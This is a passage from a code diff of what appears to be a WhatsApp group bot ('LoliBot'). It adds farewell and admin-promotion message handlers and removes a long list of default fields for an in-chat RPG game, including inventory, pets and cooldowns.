+mentionedJid: [participant],
+externalAdReply: {
+showAdAttribution: true,
+renderLargerThumbnail: true,
+thumbnailUrl: image,
+title: "👋 BYE",
+body: "Se fue un gay",
+containsAutoReply: true,
+mediaType: 1,
+sourceUrl: "https://skyultraplus.com"
+}}}, { quoted: null })
+}}
+break
+
+case "promote": case "daradmin": case "darpoder":
+if (settings.detect) {
+const raw = settings.sPromote || `@user 𝘼𝙃𝙊𝙍𝘼 𝙀𝙎 𝘼𝘿𝙈𝙄𝙉 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n😼🫵𝘼𝘾𝘾𝙄𝙊𝙉 𝙍𝙀𝘼𝙇𝙄𝙕𝘼𝘿𝘼 𝙋𝙊𝙍: @author`
+const msg = raw
+ .replace(/@user/gi, userTag)
+ .replace(/@group/gi, groupName)
+ .replace(/@desc/gi, metadata.desc || "")
+ .replace(/@author/gi, authorTag)
+await conn.sendMessage(id, { text: msg,
+contextInfo:{
+forwardedNewsletterMessageInfo: {
+newsletterJid: ["120363305025805187@newsletter", "120363301598733462@newsletter"].getRandom(),
+newsletterName: "LoliBot ✨️" },
+forwardingScore: 9999999,
+isForwarded: true,
+mentionedJid: [participant, author],
+externalAdReply: {
+mediaUrl: [info.nna, info.nna2, info.md].getRandom(),
+mediaType: 2,
+showAdAttribution: false,
+renderLargerThumbnail: false,
+title: "NUEVO ADMINS 🥳",
+body: "Weon eres admin portante mal 😉",
+containsAutoReply: true,
+thumbnailUrl: image,
+sourceUrl: "skyultraplus.com"
+}}}, { quoted: null })
}
-if (!isNumber(user.afk)) user.afk = -1
-//if (!('autolevelup' in user)) user.autolevelup = true
-if (!isNumber(user.counterPrivate)) user.counterPrivate = 0
-if (!isNumber(user.reporte)) user.reporte = 0
-if (!('role' in user)) user.role = '*NOVATO(A)* 🪤'
-if (!isNumber(user.agility)) user.agility = 0
-if (!isNumber(user.anakanjing)) user.anakanjing = 0
-if (!isNumber(user.anakcentaur)) user.anakcentaur = 0
-if (!isNumber(user.anakgriffin)) user.anakgriffin = 0
-if (!isNumber(user.anakkucing)) user.anakkucing = 0
-if (!isNumber(user.anakkuda)) user.anakkuda = 0
-if (!isNumber(user.anakkyubi)) user.anakkyubi = 0
-if (!isNumber(user.anaknaga)) user.anaknaga = 0
-if (!isNumber(user.anakpancingan)) user.anakpancingan = 0
-if (!isNumber(user.anakphonix)) user.anakphonix = 0
-if (!isNumber(user.anakrubah)) user.anakrubah = 0
-if (!isNumber(user.anakserigala)) user.anakserigala = 0
-if (!isNumber(user.anggur)) user.anggur = 0
-if (!isNumber(user.anjing)) user.anjing = 0
-if (!isNumber(user.anjinglastclaim)) user.anjinglastclaim = 0
-if (!isNumber(user.antispam)) user.antispam = 0
-if (!isNumber(user.antispamlastclaim)) user.antispamlastclaim = 0
-if (!isNumber(user.apel)) user.apel = 0
-if (!isNumber(user.aqua)) user.aqua = 0
-if (!isNumber(user.arc)) user.arc = 0
-if (!isNumber(user.arcdurability)) user.arcdurability = 0
-if (!isNumber(user.arlok)) user.arlok = 0
-if (!isNumber(user.armor)) user.armor = 0
-if (!isNumber(user.armordurability)) user.armordurability = 0
-if (!isNumber(user.armormonster)) user.armormonster = 0
-if (!isNumber(user.as)) user.as = 0
-if (!isNumber(user.atm)) user.atm = 0
-if (!isNumber(user.axe)) user.axe = 0
-if (!isNumber(user.axedurability)) user.axedurability = 0
-if (!isNumber(user.ayam)) user.ayam = 0
-if (!isNumber(user.ayamb)) user.ayamb = 0
-if (!isNumber(user.ayambakar)) user.ayambakar = 0
-if (!isNumber(user.ayamg)) user.ayamg = 0
-if (!isNumber(user.ayamgoreng)) user.ayamgoreng = 0
-if (!isNumber(user.babi)) user.babi = 0
-if (!isNumber(user.babihutan)) user.babihutan = 0
-if (!isNumber(user.babipanggang)) user.babipanggang = 0
-if (!isNumber(user.bandage)) user.bandage = 0
-if (!isNumber(user.bank)) user.bank = 0
-if (!isNumber(user.banteng)) user.banteng = 0
-if (!isNumber(user.batu)) user.batu = 0
-if (!isNumber(user.bawal)) user.bawal = 0
-if (!isNumber(user.bawalbakar)) user.bawalbakar = 0
-if (!isNumber(user.bayam)) user.bayam = 0
-if (!isNumber(user.berlian)) user.berlian = 10
-if (!isNumber(user.bibitanggur)) user.bibitanggur = 0
-if (!isNumber(user.bibitapel)) user.bibitapel = 0
-if (!isNumber(user.bibitjeruk)) user.bibitjeruk = 0
-if (!isNumber(user.bibitmangga)) user.bibitmangga = 0
-if (!isNumber(user.bibitpisang)) user.bibitpisang = 0
-if (!isNumber(user.botol)) user.botol = 0
-if (!isNumber(user.bow)) user.bow = 0
-if (!isNumber(user.bowdurability)) user.bowdurability = 0
-if (!isNumber(user.boxs)) user.boxs = 0
-if (!isNumber(user.brick)) user.brick = 0
-if (!isNumber(user.brokoli)) user.brokoli = 0
-if (!isNumber(user.buaya)) user.buaya = 0
-if (!isNumber(user.buntal)) user.buntal = 0
-if (!isNumber(user.cat)) user.cat = 0
-if (!isNumber(user.catexp)) user.catexp = 0
-if (!isNumber(user.catlastfeed)) user.catlastfeed = 0
-if (!isNumber(user.centaur)) user.centaur = 0
-if (!isNumber(user.centaurexp)) user.centaurexp = 0
-if (!isNumber(user.centaurlastclaim)) user.centaurlastclaim = 0
-if (!isNumber(user.centaurlastfeed)) user.centaurlastfeed = 0
-if (!isNumber(user.clay)) user.clay = 0
-if (!isNumber(user.coal)) user.coal = 0
-if (!isNumber(user.coin)) user.coin = 0
-if (!isNumber(user.common)) user.common = 0
-if (!isNumber(user.crystal)) user.crystal = 0
-if (!isNumber(user.cumi)) user.cumi = 0
-if (!isNumber(user.cupon)) user.cupon = 0
-if (!isNumber(user.diamond)) user.diamond = 3
-if (!isNumber(user.dog)) user.dog = 0
-if (!isNumber(user.dogexp)) user.dogexp = 0
-if (!isNumber(user.doglastfeed)) user.doglastfeed = 0
-if (!isNumber(user.dory)) user.dory = 0
-if (!isNumber(user.dragon)) user.dragon = 0
-if (!isNumber(user.dragonexp)) user.dragonexp = 0
-if (!isNumber(user.dragonlastfeed)) user.dragonlastfeed = 0
-if (!isNumber(user.emas)) user.emas = 0
-if (!isNumber(user.emerald)) user.emerald = 0
-if (!isNumber(user.enchant)) user.enchant = 0
-if (!isNumber(user.esteh)) user.esteh = 0
-if (!isNumber(user.exp)) user.exp = 0
-if (!isNumber(user.expg)) user.expg = 0
-if (!isNumber(user.exphero)) user.exphero = 0
-if (!isNumber(user.eleksirb)) user.eleksirb = 0
-if (!isNumber(user.emasbatang)) user.emasbatang = 0
-if (!isNumber(user.emasbiasa)) user.emasbiasa = 0
-if (!isNumber(user.fideos)) user.fideos = 0
-if (!isNumber(user.fishingrod)) user.fishingrod = 0
-if (!isNumber(user.fishingroddurability)) user.fishingroddurability = 0
-if (!isNumber(user.fortress)) user.fortress = 0
-if (!isNumber(user.fox)) user.fox = 0
-if (!isNumber(user.foxexp)) user.foxexp = 0
-if (!isNumber(user.foxlastfeed)) user.foxlastfeed = 0
-if (!isNumber(user.fullatm)) user.fullatm = 0
-if (!isNumber(user.gadodado)) user.gadodado = 0
-if (!isNumber(user.gajah)) user.gajah = 0
-if (!isNumber(user.gamemines)) user.gamemines = false
-if (!isNumber(user.ganja)) user.ganja = 0
-if (!isNumber(user.gardenboxs)) user.gardenboxs = 0
-if (!isNumber(user.gems)) user.gems = 0
-if (!isNumber(user.glass)) user.glass = 0
-if (!isNumber(user.glimit)) user.glimit = 8
-if (!isNumber(user.glory)) user.glory = 0
-if (!isNumber(user.gold)) user.gold = 0
-if (!isNumber(user.griffin)) user.griffin = 0
-if (!isNumber(user.griffinexp)) user.griffinexp = 0
-if (!isNumber(user.griffinlastclaim)) user.griffinlastclaim = 0
-if (!isNumber(user.griffinlastfeed)) user.griffinlastfeed = 0
-if (!isNumber(user.gulai)) user.gulai = 0
-if (!isNumber(user.gurita)) user.gurita = 0
-if (!isNumber(user.harimau)) user.harimau = 0
-if (!isNumber(user.haus)) user.haus = 100
-if (!isNumber(user.healt)) user.healt = 100
-if (!isNumber(user.health)) user.health = 100
-if (!isNumber(user.healthmonster)) user.healthmonster = 0
-if (!isNumber(user.healtmonster)) user.healtmonster = 0
-if (!isNumber(user.hero)) user.hero = 1
-if (!isNumber(user.herolastclaim)) user.herolastclaim = 0
-if (!isNumber(user.hiu)) user.hiu = 0
-if (!isNumber(user.horse)) user.horse = 0
-if (!isNumber(user.horseexp)) user.horseexp = 0
-if (!isNumber(user.horselastfeed)) user.horselastfeed = 0
-if (!isNumber(user.ikan)) user.ikan = 0
-if (!isNumber(user.ikanbakar)) user.ikanbakar = 0
-if (!isNumber(user.intelligence)) user.intelligence = 0
-if (!isNumber(user.iron)) user.iron = 0
-if (!isNumber(user.jagung)) user.jagung = 0
-if (!isNumber(user.jagungbakar)) user.jagungbakar = 0
-if (!isNumber(user.jeruk)) user.jeruk = 0
-if (!isNumber(user.joinlimit)) user.joinlimit = 1
-if (!isNumber(user.judilast)) user.judilast = 0
-if (!isNumber(user.kaleng)) user.kaleng = 0
-if (!isNumber(user.kambing)) user.kambing = 0
-if (!isNumber(user.kangkung)) user.kangkung = 0
-if (!isNumber(user.kapak)) user.kapak = 0
-if (!isNumber(user.kardus)) user.kardus = 0
-if (!isNumber(user.katana)) user.katana = 0
-if (!isNumber(user.katanadurability)) user.katanadurability = 0
-if (!isNumber(user.kayu)) user.kayu = 0
-if (!isNumber(user.kentang)) user.kentang = 0
-if (!isNumber(user.kentanggoreng)) user.kentanggoreng = 0
-if (!isNumber(user.kepiting)) user.kepiting = 0
-if (!isNumber(user.kepitingbakar)) user.kepitingbakar = 0
-if (!isNumber(user.kerbau)) user.kerbau = 0
-if (!isNumber(user.kerjadelapan)) user.kerjadelapan = 0
-if (!isNumber(user.kerjadelapanbelas)) user.kerjadelapanbelas = 0
-if (!isNumber(user.kerjadua)) user.kerjadua = 0
-if (!isNumber(user.kerjaduabelas)) user.kerjaduabelas = 0
-if (!isNumber(user.kerjaduadelapan)) user.kerjaduadelapan = 0
-if (!isNumber(user.kerjaduadua)) user.kerjaduadua = 0
-if (!isNumber(user.kerjaduaempat)) user.kerjaduaempat = 0
-if (!isNumber(user.kerjaduaenam)) user.kerjaduaenam = 0
-if (!isNumber(user.kerjadualima)) user.kerjadualima = 0
-if (!isNumber(user.kerjaduapuluh)) user.kerjaduapuluh = 0
-if (!isNumber(user.kerjaduasatu)) user.kerjaduasatu = 0
-if (!isNumber(user.kerjaduasembilan)) user.kerjaduasembilan = 0
-if (!isNumber(user.kerjaduatiga)) user.kerjaduatiga = 0
-if (!isNumber(user.kerjaduatujuh)) user.kerjaduatujuh = 0
-if (!isNumber(user.kerjaempat)) user.kerjaempat = 0
-if (!isNumber(user.kerjaempatbelas)) user.kerjaempatbelas = 0
-if (!isNumber(user.kerjaenam)) user.kerjaenam = 0
-if (!isNumber(user.kerjaenambelas)) user.kerjaenambelas = 0
-if (!isNumber(user.kerjalima)) user.kerjalima = 0
-if (!isNumber(user.kerjalimabelas)) user.kerjalimabelas = 0
-if (!isNumber(user.kerjasatu)) user.kerjasatu = 0
-if (!isNumber(user.kerjasebelas)) user.kerjasebelas = 0
-if (!isNumber(user.kerjasembilan)) user.kerjasembilan = 0
-if (!isNumber(user.kerjasembilanbelas)) user.kerjasembilanbelas = 0
-if (!isNumber(user.kerjasepuluh)) user.kerjasepuluh = 0
-if (!isNumber(user.kerjatiga)) user.kerjatiga = 0
-if (!isNumber(user.kerjatigabelas)) user.kerjatigabelas = 0
-if (!isNumber(user.kerjatigapuluh)) user.kerjatigapuluh = 0
-if (!isNumber(user.kerjatujuh)) user.kerjatujuh = 0
-if (!isNumber(user.kerjatujuhbelas)) user.kerjatujuhbelas = 0
-if (!isNumber(user.korbanngocok)) user.korbanngocok = 0
-if (!isNumber(user.kubis)) user.kubis = 0
-if (!isNumber(user.kucing)) user.kucing = 0
-if (!isNumber(user.kucinglastclaim)) user.kucinglastclaim = 0
-if (!isNumber(user.kuda)) user.kuda = 0
-if (!isNumber(user.kudalastclaim)) user.kudalastclaim = 0
-if (!isNumber(user.kyubi)) user.kyubi = 0
-if (!isNumber(user.kyubiexp)) user.kyubiexp = 0
-if (!isNumber(user.kyubilastclaim)) user.kyubilastclaim = 0
-if (!isNumber(user.kyubilastfeed)) user.kyubilastfeed = 0
-if (!isNumber(user.labu)) user.labu = 0
-if (!isNumber(user.laper)) user.laper = 100
-if (!isNumber(user.lastadventure)) user.lastadventure = 0
-if (!isNumber(user.lastbansos)) user.lastbansos = 0
-if (!isNumber(user.lastberbru)) user.lastberbru = 0
-if (!isNumber(user.lastberkebon)) user.lastberkebon = 0
-if (!isNumber(user.lastbunga)) user.lastbunga = 0
-if (!isNumber(user.lastbunuhi)) user.lastbunuhi = 0
-if (!isNumber(user.lastcoins)) user.lastcoins = 0
-if (!isNumber(user.lastclaim)) user.lastclaim = 0
-if (!isNumber(user.lastcode)) user.lastcode = 0
-if (!isNumber(user.lastcofre)) user.lastcofre = 0
-if (!isNumber(user.lastcodereg)) user.lastcodereg = 0
-if (!isNumber(user.lastcrusade)) user.lastcrusade = 0
-if (!isNumber(user.lastdagang)) user.lastdagang = 0
-if (!isNumber(user.lastdiamantes)) user.lastdiamantes = 0
-if (!isNumber(user.lastduel)) user.lastduel = 0
-if (!isNumber(user.lastdungeon)) user.lastdungeon = 0
-if (!isNumber(user.lasteasy)) user.lasteasy = 0
-if (!isNumber(user.lastfight)) user.lastfight = 0
-if (!isNumber(user.lastfishing)) user.lastfishing = 0
-if (!isNumber(user.lastgift)) user.lastgift = 0
-if (!isNumber(user.lastgojek)) user.lastgojek = 0
-if (!isNumber(user.lastgrab)) user.lastgrab = 0
-if (!isNumber(user.lasthourly)) user.lasthourly = 0
-if (!isNumber(user.halloween)) user.halloween = 0
-if (!isNumber(user.lasthunt)) user.lasthunt = 0
-if (!isNumber(user.lastIstigfar)) user.lastIstigfar = 0
-if (!isNumber(user.lastjb)) user.lastjb = 0
-if (!isNumber(user.lastkill)) user.lastkill = 0
-if (!isNumber(user.lastlink)) user.lastlink = 0
-if (!isNumber(user.lastlumber)) user.lastlumber = 0
-if (!isNumber(user.lastmancingeasy)) user.lastmancingeasy = 0
-if (!isNumber(user.lastmancingextreme)) user.lastmancingextreme = 0
-if (!isNumber(user.lastmancinghard)) user.lastmancinghard = 0
-if (!isNumber(user.lastmancingnormal)) user.lastmancingnormal = 0
-if (!isNumber(user.lastmining)) user.lastmining = 0
-if (!isNumber(user.lastmisi)) user.lastmisi = 0
-if (!isNumber(user.lastmonthly)) user.lastmonthly = 0
-if (!isNumber(user.lastmulung)) user.lastmulung = 0
-if (!isNumber(user.lastnambang)) user.lastnambang = 0
-if (!isNumber(user.lastnebang)) user.lastnebang = 0
-if (!isNumber(user.lastngocok)) user.lastngocok = 0
-if (!isNumber(user.lastngojek)) user.lastngojek = 0
-if (!isNumber(user.lastopen)) user.lastopen = 0
-if (!isNumber(user.lastpekerjaan)) user.lastpekerjaan = 0
-if (!isNumber(user.lastpago)) user.lastpago = 0
-if (!isNumber(user.lastpotionclaim)) user.lastpotionclaim = 0
-if (!isNumber(user.lastrampok)) user.lastrampok = 0
-if (!isNumber(user.lastramuanclaim)) user.lastramuanclaim = 0
-if (!isNumber(user.lastrob)) user.lastrob = 0
-if (!isNumber(user.lastroket)) user.lastroket = 0
-if (!isNumber(user.lastsda)) user.lastsda = 0
-if (!isNumber(user.lastseen)) user.lastseen = 0
-if (!isNumber(user.lastSetStatus)) user.lastSetStatus = 0
-if (!isNumber(user.lastsironclaim)) user.lastsironclaim = 0
-if (!isNumber(user.lastsmancingclaim)) user.lastsmancingclaim = 0
-if (!isNumber(user.laststringclaim)) user.laststringclaim = 0
-if (!isNumber(user.lastswordclaim)) user.lastswordclaim = 0
-if (!isNumber(user.lastturu)) user.lastturu = 0
-if (!isNumber(user.lastwar)) user.lastwar = 0
-if (!isNumber(user.lastwarpet)) user.lastwarpet = 0
-if (!isNumber(user.lastweaponclaim)) user.lastweaponclaim = 0
-if (!isNumber(user.lastweekly)) user.lastweekly = 0
-if (!isNumber(user.lastwork)) user.lastwork = 0
-if (!isNumber(user.legendary)) user.legendary = 0
-if (!isNumber(user.lele)) user.lele = 0
-if (!isNumber(user.leleb)) user.leleb = 0
-if (!isNumber(user.lelebakar)) user.lelebakar = 0
-if (!isNumber(user.leleg)) user.leleg = 0
-if (!isNumber(user.level)) user.level = 0
-if (!isNumber(user.limit)) user.limit = 8
-if (!isNumber(user.limitjoinfree)) user.limitjoinfree = 1
-if (!isNumber(user.lion)) user.lion = 0
-if (!isNumber(user.lionexp)) user.lionexp = 0
-if (!isNumber(user.lionlastfeed)) user.lionlastfeed = 0
-if (!isNumber(user.lobster)) user.lobster = 0
-if (!isNumber(user.lumba)) user.lumba = 0
-if (!isNumber(user.magicwand)) user.magicwand = 0
-if (!isNumber(user.magicwanddurability)) user.magicwanddurability = 0
-if (!isNumber(user.makanancentaur)) user.makanancentaur = 0
-if (!isNumber(user.makanangriffin)) user.makanangriffin = 0
-if (!isNumber(user.makanankyubi)) user.makanankyubi = 0
-if (!isNumber(user.makanannaga)) user.makanannaga = 0
-if (!isNumber(user.makananpet)) user.makananpet = 0
-if (!isNumber(user.makananphonix)) user.makananphonix = 0
-if (!isNumber(user.makananserigala)) user.makananserigala = 0
-if (!isNumber(user.mana)) user.mana = 0
-if (!isNumber(user.mangga)) user.mangga = 0
-if (!isNumber(user.money)) user.money = 100
-if (!isNumber(user.monyet)) user.monyet = 0
-if (!isNumber(user.mythic)) user.mythic = 0
-if (!isNumber(user.naga)) user.naga = 0
-if (!isNumber(user.nagalastclaim)) user.nagalastclaim = 0
-if (!isNumber(user.net)) user.net = 0
-if (!isNumber(user.nila)) user.nila = 0
-if (!isNumber(user.nilabakar)) user.nilabakar = 0
-if (!isNumber(user.note)) user.note = 0
-if (!isNumber(user.ojekk)) user.ojekk = 0
-if (!isNumber(user.oporayam)) user.oporayam = 0
-if (!isNumber(user.orca)) user.orca = 0
-if (!isNumber(user.pancing)) user.pancing = 0
-if (!isNumber(user.pancingan)) user.pancingan = 1
-if (!isNumber(user.panda)) user.panda = 0
-if (!isNumber(user.paus)) user.paus = 0
-if (!isNumber(user.pausbakar)) user.pausbakar = 0
-if (!isNumber(user.pc)) user.pc = 0
-if (!isNumber(user.pepesikan)) user.pepesikan = 0
-if (!isNumber(user.pertambangan)) user.pertambangan = 0
-if (!isNumber(user.pertanian)) user.pertanian = 0
-if (!isNumber(user.pet)) user.pet = 0
-if (!isNumber(user.petFood)) user.petFood = 0
-if (!isNumber(user.phonix)) user.phonix = 0
-if (!isNumber(user.phonixexp)) user.phonixexp = 0
-if (!isNumber(user.phonixlastclaim)) user.phonixlastclaim = 0
-if (!isNumber(user.phonixlastfeed)) user.phonixlastfeed = 0
-if (!isNumber(user.pickaxe)) user.pickaxe = 0
-if (!isNumber(user.pickaxedurability)) user.pickaxedurability = 0
-if (!isNumber(user.pillhero)) user.pillhero= 0
-if (!isNumber(user.pisang)) user.pisang = 0
-if (!isNumber(user.pointxp)) user.pointxp = 0
-if (!isNumber(user.potion)) user.potion = 0
-if (!isNumber(user.psenjata)) user.psenjata = 0
-if (!isNumber(user.psepick)) user.psepick = 0
-if (!isNumber(user.ramuan)) user.ramuan = 0
-if (!isNumber(user.ramuancentaurlast)) user.ramuancentaurlast = 0
-if (!isNumber(user.ramuangriffinlast)) user.ramuangriffinlast = 0
-if (!isNumber(user.ramuanherolast)) user.ramuanherolast = 0
-if (!isNumber(user.ramuankucinglast)) user.ramuankucinglast = 0
-if (!isNumber(user.ramuankudalast)) user.ramuankudalast = 0
-if (!isNumber(user.ramuankyubilast)) user.ramuankyubilast = 0
-if (!isNumber(user.ramuannagalast)) user.ramuannagalast = 0
-if (!isNumber(user.ramuanphonixlast)) user.ramuanphonixlast = 0
-if (!isNumber(user.ramuanrubahlast)) user.ramuanrubahlast = 0
-if (!isNumber(user.ramuanserigalalast)) user.ramuanserigalalast = 0
-if (!isNumber(user.reglast)) user.reglast = 0
-if (!isNumber(user.rendang)) user.rendang = 0
-if (!isNumber(user.rhinoceros)) user.rhinoceros = 0
-if (!isNumber(user.rhinocerosexp)) user.rhinocerosexp = 0
-if (!isNumber(user.rhinoceroslastfeed)) user.rhinoceroslastfeed = 0
-if (!isNumber(user.robo)) user.robo = 0
-if (!isNumber(user.roboxp)) user.roboxp = 0
-if (!isNumber(user.rock)) user.rock = 0
-if (!isNumber(user.roket)) user.roket = 0
-if (!isNumber(user.roti)) user.roti = 0
-if (!isNumber(user.rubah)) user.rubah = 0
-if (!isNumber(user.rubahlastclaim)) user.rubahlastclaim = 0
-if (!isNumber(user.rumahsakit)) user.rumahsakit = 0
-if (!isNumber(user.sampah)) user.sampah = 0
-if (!isNumber(user.sand)) user.sand = 0
-if (!isNumber(user.sapi)) user.sapi = 0
-if (!isNumber(user.sapir)) user.sapir = 0
-if (!isNumber(user.seedbayam)) user.seedbayam = 0
-if (!isNumber(user.seedbrokoli)) user.seedbrokoli = 0
-if (!isNumber(user.seedjagung)) user.seedjagung = 0
-if (!isNumber(user.seedkangkung)) user.seedkangkung = 0
-if (!isNumber(user.seedkentang)) user.seedkentang = 0
-if (!isNumber(user.seedkubis)) user.seedkubis = 0
-if (!isNumber(user.seedlabu)) user.seedlabu = 0
-if (!isNumber(user.seedtomat)) user.seedtomat = 0
-if (!isNumber(user.seedwortel)) user.seedwortel = 0
-if (!isNumber(user.serigala)) user.serigala = 0
-if (!isNumber(user.serigalalastclaim)) user.serigalalastclaim = 0
-if (!isNumber(user.shield)) user.shield = false
-if (!isNumber(user.skillexp)) user.skillexp = 0
-if (!isNumber(user.snlast)) user.snlast = 0
-if (!isNumber(user.soda)) user.soda = 0
-if (!isNumber(user.sop)) user.sop = 0
-if (!isNumber(user.spammer)) user.spammer = 0
-if (!isNumber(user.spinlast)) user.spinlast = 0
-if (!isNumber(user.ssapi)) user.ssapi = 0
-if (!isNumber(user.stamina)) user.stamina = 100
-if (!isNumber(user.steak)) user.steak = 0
-if (!isNumber(user.stick)) user.stick = 0
-if (!isNumber(user.strength)) user.strength = 0
-if (!isNumber(user.string)) user.string = 0
-if (!isNumber(user.superior)) user.superior = 0
-if (!isNumber(user.suplabu)) user.suplabu = 0
-if (!isNumber(user.sushi)) user.sushi = 0
-if (!isNumber(user.sword)) user.sword = 0
-if (!isNumber(user.sworddurability)) user.sworddurability = 0
-if (!isNumber(user.tigame)) user.tigame = 50
-if (!isNumber(user.tiketcoin)) user.tiketcoin = 0
-if (!isNumber(user.title)) user.title = 0
-if (!isNumber(user.tomat)) user.tomat = 0
-if (!isNumber(user.tprem)) user.tprem = 0
-if (!isNumber(user.trash)) user.trash = 0
-if (!isNumber(user.trofi)) user.trofi = 0
-if (!isNumber(user.troopcamp)) user.troopcamp = 0
-if (!isNumber(user.tumiskangkung)) user.tumiskangkung = 0
-if (!isNumber(user.udang)) user.udang = 0
-if (!isNumber(user.udangbakar)) user.udangbakar = 0
-if (!isNumber(user.umpan)) user.umpan = 0
-if (!isNumber(user.uncoommon)) user.uncoommon = 0
-if (!isNumber(user.unreglast)) user.unreglast = 0
-if (!isNumber(user.upgrader)) user.upgrader = 0
-if (!isNumber(user.vodka)) user.vodka = 0
-if (!isNumber(user.wallet)) user.wallet = 0
-if (!isNumber(user.warn)) user.warn = 0
-if (!isNumber(user.weapon)) user.weapon = 0
-if (!isNumber(user.weapondurability)) user.weapondurability = 0
-if (!isNumber(user.wolf)) user.wolf = 0
-if (!isNumber(user.wolfexp)) user.wolfexp = 0
-if (!isNumber(user.wolflastfeed)) user.wolflastfeed = 0
-if (!isNumber(user.wood)) user.wood = 0
-if (!isNumber(user.wortel)) user.wortel = 0
-if (!user.lbars) user.lbars = '[▒▒▒▒▒▒▒▒▒]'
-if (!user.job) user.job = 'Desempleo'
-if (!user.premium) user.premium = false
-if (!user.premium) user.premiumTime = 0
-if (!user.rtrofi) user.rtrofi = 'Bronce'
-} else
-global.db.data.users[m.sender] = {
-afk: -1,
-afkReason: '',
-reporte: 0,
-age: 0,
-genero: 0,
-identidad: 0,
-pasatiempo: 0,
-tiempo: 0,
-premLimit: 0,
-miestado: 0,
-agility: 16,
-anakanjing: 0,
-anakcentaur: 0,
-anakgriffin: 0,
-anakkucing: 0,
-anakkuda: 0,
-anakkyubi: 0,
-anaknaga: 0,
-anakpancingan: 0,
-anakphonix: 0,
-anakrubah: 0,
-anakserigala: 0,
-anggur: 0,
-anjing: 0,
-anjinglastclaim: 0,
-antispam: 0,
-antispamlastclaim: 0,
-apel: 0,
-aqua: 0,
-arc: 0,
-arcdurability: 0,
-arlok: 0,
-armor: 0,
-armordurability: 0,
-armormonster: 0,
-as: 0,
-atm: 0,
-//autolevelup: true,
-axe: 0,
-axedurability: 0,
-ayam: 0,
-ayamb: 0,
-ayambakar: 0,
-ayamg: 0,
-ayamgoreng: 0,
-babi: 0,
-babihutan: 0,
-babipanggang: 0,
-bandage: 0,
-bank: 0,
-banned: false,
-BannedReason: '',
-Banneduser: false,
-banteng: 0,
-batu: 0,
-bawal: 0,
-bawalbakar: 0,
-bayam: 0,
-berlian: 10,
-bibitanggur: 0,
-bibitapel: 0,
-bibitjeruk: 0,
-bibitmangga: 0,
-bibitpisang: 0,
-botol: 0,
-bow: 0,
-bowdurability: 0,
-boxs: 0,
-brick: 0,
-brokoli: 0,
-buaya: 0,
-buntal: 0,
-cat: 0,
-catlastfeed: 0,
-catngexp: 0,
-centaur: 0,
-centaurexp: 0,
-centaurlastclaim: 0,
-centaurlastfeed: 0,
-clay: 0,
-coal: 0,
-coin: 0,
-common: 0,
-crystal: 0,
-cumi: 0,
-cupon: 0,
-diamond: 3,
-dog: 0,
-dogexp: 0,
-doglastfeed: 0,
-dory: 0,
-dragon: 0,
-dragonexp: 0,
-dragonlastfeed: 0,
-emas: 0,
-emerald: 0,
-esteh: 0,
-exp: 0,
-expg: 0,
-exphero: 0,
-expired: 0,
-eleksirb: 0,
-emasbatang: 0,
-emasbiasa: 0,
-fideos: 0,
-fishingrod: 0,
-fishingroddurability: 0,
-fortress: 0,
-fox: 0,
-foxexp: 0,
-foxlastfeed: 0,
-fullatm: 0,
-gadodado: 0,
-gajah: 0,
-gamemines: false,
-ganja: 0,
-gardenboxs: 0,
-gems: 0,
-glass: 0,
-gold: 0,
-griffin: 0,
-griffinexp: 0,
-griffinlastclaim: 0,
-griffinlastfeed: 0,
-gulai: 0,
-gurita: 0,
-halloween: 0,
-harimau: 0,
-haus: 100,
-healt: 100,
-health: 100,
-healtmonster: 100,
-hero: 1,
-herolastclaim: 0,
-hiu: 0,
-horse: 0,
-horseexp: 0,
-horselastfeed: 0,
-ikan: 0,
-ikanbakar: 0,
-intelligence: 10,
-iron: 0,
-jagung: 0,
-jagungbakar: 0,
-jeruk: 0,
-job: 'Pengangguran',
-joincount: 1,
-joinlimit: 1,
-judilast: 0,
-kaleng: 0,
-kambing: 0,
-kangkung: 0,
-kapak: 0,
-kardus: 0,
-katana: 0,
-katanadurability: 0,
-kayu: 0,
-kentang: 0,
-kentanggoreng: 0,
-kepiting: 0,
-kepitingbakar: 0,
-kerbau: 0,
-kerjadelapan: 0,
-kerjadelapanbelas: 0,
-kerjadua: 0,
-kerjaduabelas: 0,
-kerjaduadelapan: 0,
-kerjaduadua: 0,
-kerjaduaempat: 0,
-kerjaduaenam: 0,
-kerjadualima: 0,
-kerjaduapuluh: 0,
-kerjaduasatu: 0,
-kerjaduasembilan: 0,
-kerjaduatiga: 0,
-kerjaduatujuh: 0,
-kerjaempat: 0,
-kerjaempatbelas: 0,
-kerjaenam: 0,
-kerjaenambelas: 0,
-kerjalima: 0,
-kerjalimabelas: 0,
-kerjasatu: 0,
-kerjasebelas: 0,
-kerjasembilan: 0,
-kerjasembilanbelas: 0,
-kerjasepuluh: 0,
-kerjatiga: 0,
-kerjatigabelas: 0,
-kerjatigapuluh: 0,
-kerjatujuh: 0,
-kerjatujuhbelas: 0,
-korbanngocok: 0,
-kubis: 0,
-kucing: 0,
-kucinglastclaim: 0,
-kuda: 0,
-kudalastclaim: 0,
-kumba: 0,
-kyubi: 0,
-kyubilastclaim: 0,
-labu: 0,
-laper: 100,
-lastadventure: 0,
-lastberbru: 0,
-lastberkebon: 0,
-lastbunga: 0,
-lastbunuhi: 0,
-lastcoins: 0,
-lastclaim: 0,
-lastcode: 0,
-lastcofre: 0,
-lastcrusade: 0,
-lastdaang: 0,
-lastdagang: 0,
-lastdiamantes: 0,
-lastduel: 0,
-lastdungeon: 0,
-lasteasy: 0,
-lastfight: 0,
-lastfishing: 0,
-lastgojek: 0,
-lastgrab: 0,
-lasthourly: 0,
-lasthunt: 0,
-lastjb: 0,
-lastkill: 0,
-lastlink: 0,
-lastlumber: 0,
-lastmancingeasy: 0,
-lastmancingextreme: 0,
-lastmancinghard: 0,
-lastmancingnormal: 0,
-lastmining: 0,
-lastmisi: 0,
-lastmonthly: 0,
-lastmulung: 0,
-lastnambang: 0,
-lastnebang: 0,
-lastngocok: 0,
-lastngojek: 0,
-lastopen: 0,
-lastpekerjaan: 0,
-lastpago: 0,
-lastpotionclaim: 0,
-lastramuanclaim: 0,
-lastrob: 0,
-lastroket: 0,
-lastseen: 0,
-lastSetStatus: 0,
-lastsironclaim: 0,
-lastsmancingclaim: 0,
-laststringclaim: 0,
-lastswordclaim: 0,
-lastturu: 0,
-lastwarpet: 0,
-lastweaponclaim: 0,
-lastweekly: 0,
-lastwork: 0,
-lbars: '[▒▒▒▒▒▒▒▒▒]',
-legendary: 0,
-lele: 0,
-leleb: 0,
-lelebakar: 0,
-leleg: 0,
-level: 0,
